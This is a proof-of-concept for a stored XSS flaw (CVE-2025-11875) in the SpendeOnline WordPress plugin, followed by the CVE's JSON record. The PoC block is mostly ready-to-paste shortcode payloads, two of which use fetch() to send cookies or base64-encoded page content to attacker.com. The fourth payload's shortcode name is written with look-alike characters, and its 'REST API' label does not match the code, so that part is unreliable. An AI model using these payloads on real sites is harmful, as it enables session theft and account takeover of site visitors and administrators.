CVE-2025-11875

<!-- WordPress SpendeOnline Plugin Stored XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: Basic XSS via shortcode attribute --> [spendeonline some_attr='<script>alert(document.cookie)</script>'] <!-- PoC 2: XSS via onerror event handler --> [spendeonline custom_field='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- PoC 3: Stored XSS in multiple attributes --> [spendeonline name='<svg/onload=fetch("https://attacker.com/exfil?data="+btoa(document.body.innerHTML))>'] <!-- PoC 4: WordPress REST API exploitation --> <!-- Using WordPress editor to insert malicious shortcode --> [spеndеonline amount='100" onmouseover="alert(1)" x="']

{"cve": {"id": "CVE-2025-11875", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:40.360", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SpendeOnline.org plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'spendeonline' shortcode in all versions up to, and including, 3.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/spendeonline/tags/3.0.1/spendeonline.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3380175%40spendeonline&new=3380175%40spendeonline&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ed15cb66-c386-45af-9a79-e187c4be38a8?source=cve", "source": "[email protected]"}]}}